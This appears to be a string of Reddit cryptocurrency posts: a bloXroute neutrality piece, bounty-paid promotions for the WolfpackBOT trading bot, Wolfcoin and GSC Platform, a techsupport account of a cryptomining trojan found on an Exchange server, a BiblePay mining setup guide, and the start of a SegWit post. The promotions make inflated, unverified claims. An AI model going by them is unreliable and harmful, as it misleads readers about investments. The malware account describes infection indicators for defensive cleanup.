It is essential for bloXroute to enable nodes to continuously monitor its service. Such monitoring is achieved by allowing nodes to send encrypted invalid blocks, test-blocks, directly to bloXroute, and measuring the time required for peers to report the arrival of the test-blocks. bloXroute is unable to employ discriminatory policies over valid blocks alone, and to faithfully propagate test-blocks, since the two are indistinguishable until their keys are published.
Thus, in a similar way that the Measurement Lab’s clients send test traffic through ISPs to measure their performance, so are bloXroute clients entitled to send such traffic through bloXroute. Hence, they are capable of detecting potential network bias in a similar way, using similar techniques and statistical methods like those applied in Measurement Lab.

Available for All Miners
The speed at which bloXroute can send blocks around the network creates a clear competitive advantage for nodes that deploy bloXroute vs. those which do not. Such a situation will be inevitable in early days of bloXroute adoption. The discrepancy in block propagation times among bloXroute vs. non-bloXroute-enabled nodes can be rather dramatic*, i.e.,* blocks are distributed up to an order of magnitude faster with bloXroute. This has two important consequences. First, this provides strong incentives for the adoption of bloXroute network, given that early adopting miners gain an advantage of hearing about transactions and blocks sooner. Second, this is why it is essential for bloXroute to be, by design*,* open to everyone (all miners and mining pools, big or small), auditable, and provably neutral. Such an open network will allow late bloXroute adopters to catch up with early adopters, and put them all on equal footing.

Conclusion
Solving scalability is not only about speeding up the slow P2P network, but also, and more importantly, about how to do this in a way that is provably neutral. bloXroute is the first and only content delivery network that is trustless and proves to its users that it cannot be biased. We built this system to support all blockchains to fully unlock their potential.
  1. https://www.factslides.com/s-YouTube, https://www.youtube.com/yt/about/press/
  2. https://www.businessinsider.com/sandvine-bandwidth-data-shows-70-of-internet-traffic-is-video-and-music-streaming-2015-12

— — —

We’re always looking for good people!
If you’re equally excited to solve the scalability bottleneck for all blockchains, consider joining our team! We are always looking for passionate partners to help us on this important journey. Check out our available positions to work with us in our Chicago offices.
Learn more
submitted by brooke_bloXroute to bloXrouteLabs [link] [comments]

WolfpackBOT - The world's fastest and most secure trading bot

WolfpackBOT - The world's fastest and most secure trading bot

https://preview.redd.it/b2ffej55zfd21.png?width=768&format=png&auto=webp&s=196c912c5d4250be54d647648613545f74faec7d

INTRODUCTION

According to wikipedia, Blockchain is originally known as bloc chain, It is a growing list of records known as blocks which is linked using cryptography, each of these blocks contain a cryptographic hash of the initial block, a transaction data and a time stamp.
Since its emergence in the year 2008, when Nakamoto satoshi discovered and introduced bitcoin, there has been serious efforts to integrate the blockchain technology into several aspects of various process of global business , The blockchain technology has been described as having the potential to disrupt many industries with immutability, low-cost transaction, and enhanced maximum security. So many other blockchain implementations have been deployed and developed with unique features designed to specific use-cases.
The blockchain technology has made possible to issue assets through a distributed ledger framework. With cryptocurrency tokens, Assets can be given economic value in order to validate and initiate transactional processes.

ADVANTAGES OF BLOCKCHAIN:

  1. Decentralised payment processing,
  2. Creating an immutable system of recording,
  3. Reducing Cost of Transaction and
  4. Enhanced Security.
  5. Now that we have reminded ourselves of what blockchain technology is, let’s look into the subject matter.

ABOUT WolfpackBOT

WolfpackBOT is a highly advanced cryptocurrency trading software that allows for the execution of trades at lightning speed using proprietary trading algorithms, proprietary “Werewolf” Trading Analysis configurations, or user customized settings based on personal trading style. WolfpackBOT also allows for simultaneous trading access to all compatible cryptocurrency exchanges that are available to the bot, and all trading pairs with the WerewolfBOT subscription package.
WolfpackBOT is introducing an industry first, a beautiful automated cryptocurrency trading console: The WolfBOX. This efficient and sleek piece of hardware will conveniently allow for the full utilization of a bot subscription without the need for a VPS or dedicated computer. The WolfBOX will also include a built-in secure Hardware Wallet and RFID card reader to optimize ease-of-use and functionality.
WolfpackBOT trading software is enabled with limit, market, and “Wolf Trade” orders on all trading candles, including one-minute candles, with the widest array of technical trading indicators available on the market. WolfpackBOT's proprietary “Wolf Trade” orders provide superior market sell orders with a bite! WolfpackBOT is the only trading bot to feature live price scanning on your positions and also handles partial fills with ease, meaning you don’t miss out on orders. WolfpackBOT is incredibly fast and can fulfill up to 10,000 trades per day depending on market conditions and subscription package.
WolfpackBOT allows simultaneous trading access to all cryptocurrency exchanges that are available to the bot, and all trading pairs through the WerewolfBOT subscription plan. Not only do inferior bots allow limited access to one exchange and one trading pair per bot, they also store your API keys remotely on servers which are potentially susceptible to hacks and pump and dump attacks. User security and API key protection holds a high priority within the WolfpackBOT framework which is why it is the only trading bot that gives users full control with local management of their API keys.
Masternode and Proof of Work X11 Blockchain
Wolfcoin Blockchain with X11 Proof of Work Mining and Masternode Reward Systems The Wolfcoin blockchain and network are both designed and engineered to ensure store of value, transactional speed and security, and fungibility. The main goal of the Wolfcoin blockchain is to facilitate fast and secure transactions with a governance that helps sustain the network for the benefit of all users. The Wolfcoin blockchain is a two-tier network comprised of a Proof of Work (PoW) consensus mechanism powered by miners and a Proof of Service (PoSe) system powered by masternodes.
The Wolfcoin blockchain is secured through Proof of Work (PoW) in which miners attempt to solve difficult problems with specialized computers. When a problem is solved, the miner receives the right to add a new block to the blockchain. If the problem was solved correctly, the miner is rewarded once the block is added.
The second tier, which is powered by masternodes, enables Wolfcoin to facilitate private and instant transactions with Private Send and Instant Send. Masternodes are also rewarded when miners discover new blocks.
The block reward is distributed with 80% going to the masternodes and 20% going to miners. The masternode system is referred to as Proof of Service (PoSe), since the masternodes provide crucial services that support the features of the network.
Masternodes also oversee the network and have the power to reject improperly formed blocks from miners. If a miner tried to take the entire block reward for themselves, the masternode network would orphan the block ensuring that it would not be added to the blockchain.
In short, miners power the first tier, which is the basic sending and receiving of funds and prevention of double spending. Masternodes power the second tier, which provide the added features that make Wolfcoin different from other cryptocurrencies. Masternodes do not mine, and mining computers cannot serve as masternodes.
Additionally, each masternode is “secured” by 10,000 WOLF. Those WOLF remain under the sole control of their owner at all times. The funds are not locked in any way; however, if enough of the funds are moved or spent to cause the user’s holdings to drop below 10,000 Wolfcoin, the associated masternode will go offline and stop receiving rewards.
By pre-ordering your WolfpackBOT subscription, you will also receive Wolfcoin as a reward that can be utilized in the following ways:
  • Redeemable for WolfpackBOT subscriptions
  • Redeemable for the WolfBOX Console
  • Redeemable for WolfpackBOT and Wolfcoin apparel and merchandise
  • Fungible utility that can be exchanged for like value on exchanges
When you hold at least 10,000 Wolfcoin in your Wolfcoin wallet connected to a static IP address, you will become a masternode, meaning you will have a chance to receive 80 percent of the block reward every sixty seconds.

THE FEATURES

WolfpackBOT Automated Trading Software:

After the crowdsale, Wolfcoin will be the exclusive method of payment for WolfpackBOT Automated Trading Software subscriptions.

Multiple Technical Analysis Indicators:

WolfpackBOT offers the widest array of multiple Technical Analysis indicators, oscillators, configurations and settings available in the world of Automated Cryptocurrency Trading Bots. WolfpackBOT provides Bollinger Bands, Double EMA, Elliot Wave, EMA, EMA Cross, Fibonacci Sequence, KAMA, MA Cross, MACD, RSI, SMA, Stochastic, Stochastic RSI, Triple EMA, and many more!

Shorting Features:

WolfpackBOT includes Cryptocurrency Shorting Features that allow users to short their positions and buy them back at the lower price to maximize their returns.

Copyrighted Crash Protection:

Crash Protection, one of WolfpackBOT's most advanced features, enables users the option to automatically scan and convert all positions to a stable coin at the sign of our proprietary Hidden Bear Divergence Indicator, and then buy back into base currency to resume trading at the sign of our proprietary Hidden Bull Divergence Indicator.

Language Translator:

WolfpackBOT has a built in Language Translator that instantly translates the entire BOT into Dutch, English, French, German, or Spanish.

All Trading Pairs on all available Exchanges:

WolfpackBOT allows our customers to simultaneously trade on multiple cryptocurrency exchanges, and with all the exchange’s trading pairs available for trading. The best part is that it’s all possible on one bot with one subscription to the WerewolfBOT package!

Coin Selector:

While other automated trading platforms only allow for a limited amount of coins per subscription, WolfpackBOT allows all trading pairs and all coins to be traded on all the available major exchanges with the WerewolfBOT subscription. WolfpackBOT's proprietary Coin Selector allows for users to choose whether to trade all cryptocurrencies or blacklist some, thus not trading them at all, as well as search for the highest volume, greatest performing, or a specific volatility range of coins for a given timeframe.

Werewolf Configurations and Settings:

Werewolf Configurations and Settings are copyrighted trading algorithms that use proprietary optimum settings for trading: the perfect configuration for experienced and inexperienced traders alike. These settings can be adjusted to the current market trend, with preset configurations for bear, sideways, and bull markets.

Werewolf Ultimate:

Werewolf Ultimate is the ultimate choice when trading. It doesn't trade a particular trading pair or particular coins, it trades them all. It goes in for the kill to increase the potential returns. Crash Protection is a built-in feature in Werewolf Ultimate.

Werewolf Bull Market:

Werewolf Bull Market are preset settings and configurations that are usable when your Base Trading Pair is in a Bull Run. Werewolf Bull Market settings are optimized for such conditions and should only be used in a Bull Run Market.

Werewolf Sideways Market:

Werewolf Sideways Market are preset settings and configurations that are usable when your Base Trading Pair is trading sideways. Werewolf Sideways Market settings are optimized for such conditions and should only be used in a Sideways Trading Market.

Werewolf Bear Market:

Werewolf Bear Market are preset settings and configurations that are usable when your Base Trading Pair is in a Bear Run. Werewolf Bear Market settings are optimized for such conditions and should only be used in a Bear Run Market.

The WolfBOX Hardware Console:

WolfpackBOT also offers an industry first: a beautiful hardware console, The WolfBOX. Our console comes preloaded with WolfpackBOT Automated Trading Software and also includes a built-in secure hardware wallet. Some of the key features of the WolfBOX include our high-speed CPU, solid-state hard drive, built-in RFID card reader, and integrated Bitpay and Coinbase wallets.

Wolfpack Consulting

Our company offers its services and expertise as Cryptocurrency and Blockchain Specialists to individuals and companies. We offer consulting services in the fields of blockchain and cryptocurrency development and management.

Wolfpack Philanthropy

We are dedicated to the proposition that we have a responsibility to use a portion of our company’s revenue to help create a better world and a brighter future. As we move forward, our philanthropic efforts include environmental stewardship, renewable energy, human rights, economic development, as well as animal and wildlife rescue and conservation with an emphasis on dogs and wolves.

Wolfcoin Information

THE WOLFCOIN Wolfcoin is the coin that fuels all WolfpackBOT's projects.
This utility, coupled with the reward systems with mining and Masternoding capabilities, makes the use of Wolfcoin potentially appealing to all WolfpackBOT users whom are interested in receiving additional Wolfcoin for subscriptions, merchandise and other rewards such as passive cryptocurrency portfolio growth.
THE WOLFCOIN WALLET WolfpackBOT uses our proprietary Wolfcoin Core QT wallet.
February 2018 Conceptual development of WolfpackBOT Software
May 2018 Company Roadmap development Alpha models of WolfpackBOT Software
June 2018 Ongoing research, development, and testing
October 2018 Advertising and Marketing Campaign Starts Wallets available for payment; BTC, BTG, DASH, DOGE, ETC, ETH, LTC October 15 - Pre-registration begins
November 2018 November 1 - Crowdsale Stage I begins
December 2018 Official presentation of WolfpackBOT beta Software Preview Creation of Wolfcoin (WOLF: 300,000,000 coins pre-mined on Genesis Block) WolfpackBOT beta Software release to selected customers
December 21 - Launch network and mine Genesis block
December 22 - PoW / Mainnet
December 23 - Blockchain and network testing
December 28 - Iquidis Wolfcoin Block Explorer released on our website
January 2019 January 1 - Wolfcoin Core wallets available for download on the website January 1 - Wallet and Masternode Tutorial available January 1 - Masternode and PoW instructional videos available January 1 - Subscription Pre-order Coin Rewards disbursed Announcement listing WOLF on top-10 Exchange
February 2019 February 1 - Crowdsale Stage I Ends February 1 - Crowdsale Stage II Begins
March 2019 March 15 - Crowdsale Stage II Ends March 15 - Crowdsale Stage III Begins WolfpackBOT Software roll-out to contributors WolfBOX Console available for Pre-order
April 2019 WolfpackBOT Subscriptions available for customers First Major version released: automated, manual, and paper trading WolfpackBOT Live support center April 30 - Crowdsale Stage III Ends
May 2019 WolfBOX Consoles Pre-orders first shipment
June 2019 New trading features such as new exchanges, strategy options and indicators
July 2019 New trading features such as new exchanges, strategy options or indicators
August 2019 WolfpackBOT Software Trading Platform V2.0 Second major release: Strategy Marketplace and Back-testing
September 2019 New trading features such as new exchanges, strategy options or indicators
October 2019 WolfpackBOT Software Trading Platform V3.0 Third major release: Signals Marketplace (Supporting 3rd Party App Signals) Mobile Application for WolfpackBOT Software and Trading Platform
November 2019 New trading features such as new exchanges, strategy options or indicator
December 2019 WolfpackBOT Software Trading Platform V4.0
January 2020 WolfpackBOT Software Trading Platform V5.0 Fourth major release: Machine Learning Strategy Optimization

THE AMAZING TEAM

Philip Longhurst Chief Executive Officer The leader of our pack and the man behind the WolfpackBOT trading bot, Philip Longhurst is a mathematical genius, engineer, day trader, and animal rescuer. As an account manager for J.P. Morgan and MBNA Bank, Phil managed the accounts of several high-profile clients and businesses. He has been successfully trading stocks for over twenty-five years and has successfully applied his trading expertise and mathematical acumen to the cryptocurrency market since 2013.
Philip holds bachelor's degrees in mechanical engineering and business administration and is a loving husband, father, and family man who has been rescuing dogs since 1995. His driving desire is to use the success of Wolfpack Group to create a brighter future for humanity. He currently resides in the United States of America with his wife, daughter, and dogs.
Rogier Pointl Chief Financial Officer Rogier Pointl is a successful entrepreneur with nearly twenty-five years of experience in business management, marketing, financial administration, economics, and fintech. Rogier holds bachelor's degrees in Business Communications and Financial Administration. He is a pioneer in the field of virtual reality, having served as CEO and owner of Simworld, the first virtual reality racing center in Europe, where he oversaw the development of advanced simulator and virtual reality hardware and software.
Rogier is an experienced trader and has been trading stocks since 2007. He began applying his expertise to the cryptocurrency market in 2010, gaining experience as a Bitcoin miner along the way. Rogier is a loving husband and father and currently resides in the Netherlands with his wife and two daughters.
Jason Cormier Chief Technical Officer Jason Cormier is a humble -but extraordinary- individual who is blessed with a Mensa IQ of 151, he is continually driven by a desire for knowledge and self-growth. He is self-taught in Visual Basics, C#, C++, HTML, and CSS and began developing programs and applications at the age of 14, including the TCB Wallet, which was the first ever wallet program that held its users' log in names and passwords. Jason is a cryptocurrency guru whose expertise includes cryptocurrency mining farms, proof-of-stake, masternodes, and cryptocurrency trading.
Jason holds Associate degrees in Computer Science and Psychology, and currently resides in the United States of America with his wife and son.
Jay McKinney Chief Web Development and Design Officer Jay is a veteran of the Iraq War who put his life on the line in combat to protect our freedoms. To center himself while stationed in the Iraqi warzone, he taught himself C# as he knew honing his Web Development skills would help him provide a better future for himself and his family. Upon returning home safely, he worked his way through college and holds bachelor's degrees in Computer Programming and Web Development & Design.
Jay has worked for the Kentucky Housing Corporation, serving as a software engineer and web developer. He is a loving family man who currently resides in the United States of America with his wife and two children.
David Johnson Chief Software Development Officer David holds a Master of Science degree in Information Systems and a Bachelor's degree in Business Administration with a specialization in Information Systems, graduating with Magna Cum Laude status. He has worked for the Kentucky Housing Corporation, serving as a network analyst and software engineer. As an entrepreneur, he has owned his own web and software development company since 2009, creating and maintaining several websites in C# and PHP, and has been operating the crypto-oriented YouTube channel BigBits since 2017, where he discusses automated Cryptocurrency trading strategies.
David is a proud father of two and resides in the United States of America with his wife and children. Like any good Kentuckian, he is a huge fan of the University of Kentucky's college sports teams.
Gabriel Condrea Software and Web Development Officer Gabriel Condrea holds a bachelor's degree in electrical and computer engineering and has worked as a software developer and senior systems engineer in both the United States and the United Kingdom, working with a variety of programming languages and IDEs. He has used his expertise to create Manufacturing and SCADA systems in industrial applications.
Gabriel also applies his engineering skills to cryptocurrency day trading, seeking to automate the process. He loves to travel and currently resides in the United States with his girlfriend.
Igor Otorepec Chief Hardware Development Officer Igor is an engineer with twenty years of experience specializing in advanced PLC programming and industrial robotics. He is also an IT security expert and a CEC Certified Ethical Cracker who uses his skills to expose and patch security vulnerabilities in blockchain codes.
Igor is an advanced cryptocurrency trader and Kung Fu master who uses bio-hacking as a way of life to keep his 'chi' constantly centered. He currently resides in Austria with his loving wife.
Manik Ehhsan Director of Marketing and Public Relations Manik holds a Bachelor's degree in Computer Science and has over five years of experience in Web Development, Digital Marketing and Graphics Design. He has also managed the marketing for more than 30 successful Cryptocurrency start-ups and projects, and specializes in SEO and ASO. Manik is also a Cryptocurrency project promotion expert with an emphasis on Masternodes and building Social Media Communities.
Manik has focused his life on Cryptocurrency and currently resides in Bangladesh with his loving family.
Rance Garrison Chief Marketing Officer Rance Garrison holds a bachelor's degree in Business Administration and specialized in Seminary Studies for his Master's degree. He served as an AmeriCorps VISTA at WMMT-FM, the radio station owned by Appalshop, an arts and education center in Kentucky, and has also specialized in local cable television advertising. Rance is also a musician who has released several albums independently over the last decade.
Rance is very dedicated to his local community and is most excited by the potential implications of cryptocurrencies and blockchain technology for rural and remote economies. He currently resides in the United States of America with his wife, dog, and cats.
Paul Gabens Chief Public Relations Officer A master negotiator with a penchant for strategy, Paul Gabens brings more than twenty years of marketing and promotional experience in the automotive, hospitality, and entertainment industries to the Wolfpack. He is also an avid stock and cryptocurrency trader, having first entered into the cryptocurrency market two years ago, embracing his passion for crypto with the same vigor as his love for travel, classic cars, extreme roller coasters, and surfing.
Paul holds degrees in business management, marketing, and automotive aftermarket. He currently resides in the United States with his fiancé and two cats.
Blake Stanley Marketing and Social Media Officer Blake Stanley is a cryptocurrency enthusiast who also has over six years of experience managing both government and private sector client and customer relations. A strategic thinker and expert in the field of social media-based advertising, Blake also owns and manages his own online marketing company where he has been successfully curating and implementing online marketing and advertising strategies for his clients for the past three years.
Blake is a proud father and family man and currently lives in the United States with his daughter and fiancé.
Martin Kilgore Market and Trading Analyst Martin Kilgore holds bachelor’s degrees in both accounting and mathematics, having researched Knot Theory and the Jones Polynomial during his undergraduate studies, giving him a firm edge when analyzing market conditions. He has worked as a staff accountant for several governmental organizations.
Martin lives in the United States with his fiancé.
Jonathan McDonald Chief Trading Strategy Officer Jonathan has honed his trading skills over the past five years by studying and implementing economics, financial strategy, Forex trading analysis and trading bots. Through his constant learning, he discovered Cryptocurrency after seeing the difference in market volatility and high yield trading. His fine-tuned trading strategies complement Crypto markets perfectly, and he has been implementing trading strategies to the Cryptocurrency market for over a year with phenomenal results. Jonathan is constantly improving his trading skills with an emphasis on scalping techniques. He has applied his trading skillset to the WolfpackBOT and enjoys working alongside the Wolfpack in creating the fastest trading bot on the market.
Jonathan currently resides in Canada with his supportive girlfriend and family.
Web site: https://www.wolfpackbot.com/
Technical document: https://www.wolfpackbot.com/Pdf/whitepaper_en.pdf
Bounty0x username: idrixoxo
submitted by idrixoxo2015 to u/idrixoxo2015 [link] [comments]

GSC Platform develops hybrid blockchain

GSC Platform develops hybrid blockchain
Blockchain is a storage and information transmission technology, unforgeable, secure and working without a central control organ for data treatment. It is a database owning the history of every exchange made by its users since its creation. This database is secured and distributed: it is shared by its different users, without intermediary, allowing each stakeholder to check the validity of the chain. The first blockchain appeared in 2008 with bitcoin cryptocurrency, developed by one person known as Satoshi Nakamoto. Every public blockchain necessarily works with a currency or token that is programmable. Bitcoin is one example of programmable currency. Transactions made between users of the network are regrouped by blocks. Each block is validated by knots of the network called "miners", via technics depending on the type of blockchain. For the bitcoin blockchain, this technique is called "Proof-of-Work", consisting of solving algorithmic problems. Once a block is validated, it is stamped with date and time, then added to the blockchain. The transaction (encrypted data) is then visible for the receiver as well as for the whole network of users.
There are 4 types of blockchain: Federated, Public, Permissioned/Private or Hybrid. GSC Platform develops its product GSC ERP 3.0 on a hybrid blockchain.
Federated:
- Access is limited by those given permission by the group.
- Due to limited membership, they are faster, can scale higher and offer more transaction privacy.
- Distant cousin to intranets of the 1990s.
Permissionless / Public:
- Transactions are transparent to anyone on the network with a block viewer, but anonymous.
- The ultimate democracy - this fully distributed ledger disrupts current business models by removing the middleman.
- Minimal costs involved, no need to maintain servers or system admins.
Permissioned / Private:
- Ideal for database management or auditing services, where data privacy is an issue.
- Data handling is simplified as there are fewer gatekeepers.
- Compliance can be automated as the as the organization has control over the code.
Hybrid:
- The private network generates blocks of hashed data stored on public blockchain, but without sacrificing the privacy.
- Flexible control over what data is kept private and what is shared on the public ledger.
- Hybrid blockchains offer the benefits of decentralization and scalability, without requiring consensus from every single node on the network.
Bounty0x username - predators
https://www.gscplatform.io/

https://preview.redd.it/gm5fggqq3kc21.jpg?width=378&format=pjpg&auto=webp&s=22ce2e02d506ed15c845808a77059d445f08dc4b
submitted by Predators999 to ico [link] [comments]

BitCoin Mining Malware Removal Help

Hello,
Just this morning we received an alert from our Sophos Cloud Console about an apparent "Troj/Miner-BP" virus that was detected on our Exchange 2010, Windows 2008 R2 server. This is our primary Exchange server in a multi Exchange server (2 total) environment. I believe I've been able to stop the bleeding for now (answer how for those curious towards the bottom), but I'm curious if any of you have any experience with any mining malware like this (Google had hardly any results, and the only results they did come up with are from the last day or two so I'm sure it's a relatively new exploit). Please bear with me while I try to relay all of the information we've gathered about this mining malware - it's slightly confusing and all based on roughly 2 hour's worth of trying to trace this malware's path.
The infected file that Sophos caught was LMS.exe (not lsm.exe which is a legitimate executable) that was being created in the C:\WINDOWS\Fonts\ directory. If you've ever manually browsed to the Fonts directory you know that, whether you have file extensions hidden or not, Windows Explorer only shows the installed Fonts packages, and not the individual .tff files themselves. Because of this, LMS.exe was not visible when browsed to manually on the local server. We were able to see the LMS.exe file when we c$'d from a different server, but because Sophos was continually trying to Quarantine it (it was being auto-regenerated) we weren't ever able to see any Properties of it. So what was auto-recreating the file? A quick look into Task Manager showed that another executable, msiexev.exe (again, not msiexe.exe the legitimate file) was using between 80-90% of the CPU. Going to the Properties of that process led us to the C:\WINDOWS\security\ directory. After killing the process we were able to rename the file to msiexev.exe.old with no issues. However, after 5 minutes or so a new file of the exact same file size, 1,205KB, was created in its place. Rinse and repeat. If we let msiexev.exe run for roughly 15-20 seconds it would again spawn LMS.exe in the Font directory, and again Sophos would begin quarantining it in an endless game of cat and mouse.
By this time the AV scan we had begun roughly 30 minutes prior quarantined another executable - this time right on the root of the C:\WINDOWS\ directory. This executable was called wmsa.exe, and the timestamp was only 1 minute different (1:07 PM) than the timestamp of the original msiexev.exe (1:08 PM) Tuesday afternoon. This file was easily deleted, and has not been recreated since.
We were able to stop the process from spinning up again by creating a blank file named msiexev.exe in the C:\WINDOWS\security\ directory, giving a domain account ownership of the file, and then removing all Security permissions on the file. Since that time the malware appears unable to execute.
My questions is - has anyone else been faced with this malware? It appears that it is BitCoin mining malware. From the little documentation online I've been able to find it appears to be an exploit that's only vulnerable on Windows Server 2008 R2 boxes with Exchange 2010. If anyone else has any ideas on ways to prevent this or plug this hole I'm open to suggestions.
Thanks!
UPDATE: So after gettting up to the latest patch level (we were patched to the 17th when the infection happened) and having LMS.exe sitting in Quarantine waiting to be cleaned up on the next restart, we scheduled a planned reboot last night at 9 PM. After system restart we found the Sophos detected the malware was attempting to execute again sigh. We also located a new executable in C:\WINDOWS\prefetch\ labeled wuauser.exe along with two text files, history.txt and id.txt. Each of these text files contained a unique 32 character hex code, and nothing else. For those of you that legitimately mine BitCoin - are they relevant to anything? These files are all timestamped either 1:07 or 1:08 Tuesday afternoon, again, matching the time we believe we were initially infected.
We applied our "fix" to these files where we made a domain user the Owner of a blank file that was named identically and then removed all file permissions to them in hopes that they are unable to be regenerated. We also applied this same logic to the LMS.exe file in C:\WINDOWS\Fonts.
After doing all of this our AV console finally has marked that LMS.exe has been "cleaned up" and not just quarantined. I'm hopeful that this has stopped the spread/execution of this malware, but I'm still leery that the underlying exploit that got this installed on our system in the first place is still vulnerable. We'll continue monitoring over the weekend, and if there are any other major updates I'll be sure to update the thread.
submitted by willowshole5 to techsupport [link] [comments]

How to Mine BiblePay on Linux

This guide is outdated, please refer to:
https://wiki.biblepay.org/POBH_Setup
https://wiki.biblepay.org/PODC_Setup
 
 
 
 
 
 
 
 
IMPORTANT - Evolution Upgrade:
Quick Start https://wiki.biblepay.org/Quick_Start
Evolution Upgrade Information https://wiki.biblepay.org/Evolution_Upgrade
Getting Started with Evolution https://wiki.biblepay.org/Getting_Started_with_Evolution
Generic Smart Contracts https://wiki.biblepay.org/Generic_Smart_Contracts
What is BiblePay Evolution? https://www.reddit.com/BiblePay/comments/bifvpk/biblepay_evolution_what_is_it/
Recommend 2GB RAM or can get stuck compiling (if 1GB RAM can use Swap File) Use Ubuntu 16.04
INFO
https://github.com/biblepay/biblepay-evolution/blob/masteBuildBiblePay.txt
INSTALL COMMANDS
apt-get install build-essential libtool autotools-dev automake pkg-config libssl-dev libevent-dev bsdmainutils apt-get install libboost-system-dev libboost-filesystem-dev libboost-chrono-dev libboost-program-options-dev libboost-test-dev libboost-thread-dev apt-get install libqt5gui5 libqt5core5a libqt5dbus5 qttools5-dev qttools5-dev-tools libprotobuf-dev protobuf-compiler apt-get install git apt-get install curl build-essential libtool autotools-dev automake pkg-config python3 bsdmainutils cmake sudo add-apt-repository ppa:bitcoin/bitcoin sudo apt-get update sudo apt-get install libdb4.8-dev libdb4.8++-dev git clone http://github.com/biblepay/biblepay-evolution prefix=x86_64-pc-linux-gnu cd biblepay-evolution/depends make -j4 # Choose a good -j value, depending on the number of CPU cores available cd .. ./autogen.sh #Note: if echo `pwd` does not return your working directory, replace it with your working directory such as /biblepay-evolution/ ./configure --prefix `pwd`/depends/x86_64-pc-linux-gnu make # See more here: #https://github.com/biblepay/biblepay-evolution/blob/mastedoc/build-unix.md 

SWAP FILE
NOTE: if server is 1GB RAM, before running last command "sudo make", set up a swap file
free #check if swap is 0 dd if=/dev/zero of=/vaswap.img bs=1024k count=1000 mkswap /vaswap.img swapon /vaswap.img free #check if swap is 1024 sudo make 

RUN COMMAND LINE
cd src ./biblepayd -daemon 
OR
RUN GUI
Your GUI program will be located in: /biblepay-evolution/src/qt
./biblepay-qt 
You can also run it in the background (to free up your terminal) if you call it with:
./biblepay-qt & 
To start mining, instructions are the same as for Windows: Go to Tools -> Debug Console
Execute this command (to start mining with 8 threads)
setgenerate true 8 
From there you can use all other commands such as getmininginfo, getwalletinfo, etc. Execute help command to get the list of all available commands.
Note: GUI will be built automatically only if you meet the requirements for qt library, i.e. make sure you ran this line before compiling:
sudo apt-get install libqt5gui5 libqt5core5a libqt5dbus5 qttools5-dev qttools5-dev-tools libprotobuf-dev protobuf-compiler 
BIBLEPAY is now Running!

SETUP CONFIG
Stop BiblePay and set up the config file to get starting nodes to sync with and enable mining:
./biblepay-cli stop cd ~/.biblepayevolution/ vi biblepay.conf addnode=node.biblepay.org gen=1 genproclimit=1 
Escape Key + : (Colon Key) + w + q + Enter (saves file and quits)

addnode --- adds a node to the list of nodes to connect to gen=1 --- turns on mining genproclimit --- sets number of threads to use when mining

Run BiblePay again and fully sync with network
cd ../biblepay-evolution/src ./biblepayd -daemon ./biblepay-cli getinfo 

USEFUL COMMANDS
./biblepay-cli help ./biblepay-cli getaccountaddress "" ./biblepay-cli getinfo ./biblepay-cli getmininginfo ./biblepay-cli setgenerate true 8 ./biblepay-cli sendtoaddress "insertAddressHere" 777 "" "" true ./biblepay-cli stop ./biblepayd -daemon top #CPU usage q to quit 

MINING THREADS: To change number of threads to use up for mining
a. Edit home/yourusername/.biblepayevolution/biblepay.conf file:
genproclimit=X 
and restart BiblePay -or- b. Menu >> Tools >> Debug Console >> Type command:
setgenerate true X 
(Replace X with number of threads Use top command to view CPU usage)

POOL
NOTE: To use the pool you must now use the external miner, not the wallet miner https://whitewalr.us/2019/biblepay-nomp-pool-mining.html
  1. Set up an account on pool website: https://pool.biblepay.org/
  2. Create Worker Username(s) - Workers tab >>> Add
  3. Enable pool and add Worker Username in ~/.biblepayevolution/biblepay.conf file, add these lines and save:
    pool=https://pool.biblepay.org workerid=insertWorkerUsernameHere
4. Restart BiblePay
./biblepay-cli stop ./biblepayd -daemon 
Setup Auto-Withdraw Navigate to Account >>> Account Settings >>> Verify your BBP Receiving Address >>> Click Authorize-Auto-Withdraws

UPDATE:

### Turn off/stop BiblePay
cd /home/yourname/biblepay-evolution/src ./biblepay-cli stop 

### Pull down latest Biblepay code and build it
cd /home/yourname/biblepay-evolution git pull origin master sudo make 

### Turn BiblePay back on and check version number
cd src ./biblepayd -daemon ./biblepay-cli getinfo ./biblepay-cli setgenerate true 8 

UPDATE IN ONE COMMAND:
./biblepay-evolution/src/biblepay-cli stop ; cd && cd biblepay-evolution/ && git pull origin master && sudo make && cd src && ./biblepayd -daemon && sleep 90 && ./biblepay-cli getmininginfo 
Note: the ";" says do this after, regardless of the outcome Note: && says do this after only if previous command finished with no errors

SPEED UP COMPILE:
To speed up the compile time, add -j4 or -j8 after make. This way it compiles using 4 or 8 threads instead of just 1.
./configure LDFLAGS="-L${BDB_PREFIX}/lib/" CPPFLAGS="-I${BDB_PREFIX}/include/" sudo make -j8 
Reference: http://www.linux-databook.info/?page_id=2319

RSYNC stop biblepay from your nodes compile on your fastest machine then rsync with your machines only src folder is required
rsync -avuz /root/biblepay-evolution/src/ [email protected]:/root/biblepay-evolution/src/ 
https://stackoverflow.com/questions/3299951/how-to-pass-password-for-rsync-ssh-command https://www.thegeekstuff.com/2008/11/3-steps-to-perform-ssh-login-without-password-using-ssh-keygen-ssh-copy-id/
people make cron jobs and rsync automatically

OUTDATED

Unofficial Bash Script
https://gist.github.com/anonymous/d1c1d35e3c8f67f5fb2e204479fa5c6b

Official Ubuntu Package
https://launchpad.net/~biblepay-official

Unofficial Ubuntu Package
https://www.reddit.com/BiblePay/comments/7rwqqs/unofficial_ubuntu_packages_available/

Unofficial Mine in One Line
https://www.reddit.com/BiblePay/comments/7ryuk1/mine_in_one_line/
NOTE: DONT RUN ON A COMPUTER WITH COINS -- THIS IS A CLEAN INSTALL SCRIPT

COMPILE WITHOUT GUI: https://bitcointalk.org/index.php?topic=2042657.msg21878317#msg21878317 https://bitcointalk.org/index.php?topic=2042657.msg21878389#msg21878389
ADVANCED:

DOCKER IMAGES (NOTE: I havent tested these, use at your own risk) https://hub.docker.com/gagaha/biblepay/ https://hub.docker.com/cryptozero/biblepay-opt/
submitted by togoshige to BiblePay [link] [comments]

Reddit forensics: Since 16 May 2017, Reddit displays the View Count on your posts. I made 37 posts since then: 29 got < 1000 views, 5 got 1000-2000 views (70-91% upvoted), 2 got 2000-3000 views (82-91% upvoted). And my post arguing "SegWit = MERS" got a whopping 8500 views (only 50% upvoted). Weird!

A few days ago I made a post where I argued that "SegWit = MERS" - tying together the 2010 Mortgage Crisis caused by MERS (Mortgage Electronic Registration Systems or MERS) with an article by legal expert Jimmy Nguyen of nChain:
Risk of SegWit – U.S. Contract Law
https://nchain.com/en/blog/risk-of-segwit-us-contract-law/
